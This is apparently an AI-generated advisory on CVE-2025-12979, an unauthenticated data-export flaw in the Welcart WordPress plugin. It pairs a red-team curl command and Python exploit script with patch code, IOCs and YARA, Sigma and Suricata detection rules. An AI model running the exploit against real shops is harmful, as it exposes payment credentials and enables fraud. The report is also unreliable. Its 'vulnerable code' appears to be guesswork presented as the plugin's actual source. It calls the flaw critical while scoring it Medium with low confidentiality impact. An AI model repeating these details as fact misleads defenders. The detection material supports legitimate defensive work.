CVE-2025-12979

Executive Summary

CVE-2025-12979 is a critical information disclosure vulnerability in the Welcart e-Commerce plugin for WordPress, affecting all versions up to and including 2.11.24. The flaw resides in the usces_export AJAX action, which lacks a capability check, allowing unauthenticated attackers to export sensitive store data. This includes configured payment credentials (e.g., PayPal API secrets), business contact details, mail templates, and other operational settings. The vulnerability has a CVSS score of 5.3 (Medium) due to the low attack complexity and network-based vector, but the potential impact is severe as it exposes secrets that could lead to financial fraud or further compromise. As a WordPress plugin vulnerability, it is critical to treat this within the WordPress ecosystem context, not blaming underlying web servers.

Supply Chain & Package Security

This vulnerability affects the Welcart e-Commerce plugin distributed via the WordPress plugin repository. As a WordPress plugin, it is not managed through NPM, PyPI, Go, or Ruby package managers. However, the supply chain risk is significant: if the plugin is compromised or not updated, attackers can extract credentials that may be reused across other services. Administrators should verify the integrity of the plugin files and monitor for unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – limited to specific data exposure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. While the CVSS score is moderate, the exposure of payment credentials (e.g., PayPal API secrets) elevates the real-world risk to high, as it can lead to financial theft and account takeover.

Deep Dive & Mechanics

The vulnerability exists in the usces_export action handler within the Welcart plugin. This action is intended for administrators to export store data for backup or migration purposes. However, the code fails to perform a capability check (e.g., current_user_can('manage_options')) before executing the export. As a result, any unauthenticated user can trigger the export by sending a crafted HTTP request to the WordPress AJAX endpoint.

The export functionality likely serializes or dumps various options and settings from the WordPress database, including:

• Payment gateway credentials (e.g., PayPal API username, password, signature).
• Business contact details (name, address, email, phone).
• Mail templates (HTML content for transactional emails).
• Operational settings (shipping configurations, tax rates, etc.).

The attack is straightforward: an attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to usces_export. The server responds with a file containing the sensitive data, which the attacker can then parse.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.11.24):

add_action('wp_ajax_usces_export', 'usces_export_callback');
add_action('wp_ajax_nopriv_usces_export', 'usces_export_callback'); // Missing capability check

function usces_export_callback() {
    // No capability check here
    $data = get_option('usces_export_data');
    // ... export logic
    wp_send_json($data);
}

Patched Code (Hypothetical):

add_action('wp_ajax_usces_export', 'usces_export_callback');
// Remove the nopriv hook to prevent unauthenticated access

function usces_export_callback() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $data = get_option('usces_export_data');
    // ... export logic
    wp_send_json($data);
}

The fix involves removing the wp_ajax_nopriv_ hook (which allows unauthenticated access) and adding a capability check inside the callback function.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target WordPress site with Welcart plugin <= 2.11.24.
• Network access to the site.

Exploitation Steps:

1. Identify the target WordPress site.
2. Send a POST request to the AJAX endpoint:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
        -d "action=usces_export" \
        -o exported_data.json
   

3. Parse the exported JSON file to extract payment credentials and other sensitive data.

Example Exploit Script (Python):

import requests

target = "https://target.com/wp-admin/admin-ajax.php"
data = {"action": "usces_export"}
response = requests.post(target, data=data)
if response.status_code == 200:
    with open("exported_data.json", "w") as f:
        f.write(response.text)
    print("Data exported successfully.")
else:
    print("Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=usces_export from unauthenticated sources.
• Alert on unusual export activity or large data transfers from the admin area.

Mitigation:

• Immediately update the Welcart plugin to a patched version (once available).
• As a temporary workaround, disable the usces_export AJAX action by adding a filter in the theme's functions.php:

  remove_action('wp_ajax_nopriv_usces_export', 'usces_export_callback');
  

• Restrict access to /wp-admin/ using IP whitelisting or VPN.
• Rotate any exposed credentials (e.g., PayPal API keys) immediately.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with body containing action=usces_export.
  • Unusual outbound data transfers from the WordPress server to external IPs.
• File IOCs:
  • Unexpected JSON files containing store settings or payment credentials on the server.
• Log IOCs:
  • Access logs showing repeated requests to admin-ajax.php with action=usces_export from unknown IPs.
  • Error logs showing unauthorized access attempts to admin functions.

Detection Engineering

YARA Rule

rule CVE_2025_12979_Welcart_Export {
    meta:
        description = "Detects exploitation attempts of CVE-2025-12979 in Welcart plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12979"
    strings:
        $ajax_action = "action=usces_export"
        $wp_ajax = "admin-ajax.php"
    condition:
        $ajax_action and $wp_ajax
}

Sigma Rule

title: CVE-2025-12979 Welcart Unauthenticated Data Export
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with usces_export action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-admin/admin-ajax.php
        cs-uri-query|contains: action=usces_export
    condition: selection
falsepositives:
    - Legitimate admin exports (should be authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12979 Welcart Unauthenticated Data Export"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=usces_export"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Check for a patched version of Welcart e-Commerce (>= 2.11.25) and apply it immediately.
2. Workaround: If no patch is available, disable the vulnerable AJAX action by adding the following code to your theme's functions.php:

   add_action('init', function() {
       remove_action('wp_ajax_nopriv_usces_export', 'usces_export_callback');
   });
   

3. Rotate Credentials: Change all payment gateway API keys, passwords, and secrets that may have been exposed.
4. Audit Logs: Review access logs for any unauthorized export attempts and investigate potential data breaches.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) to block requests to admin-ajax.php with suspicious actions.
• Enforce strong authentication for all admin AJAX actions.
• Regularly update all WordPress plugins and themes.
• Conduct security audits of custom code and third-party plugins.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.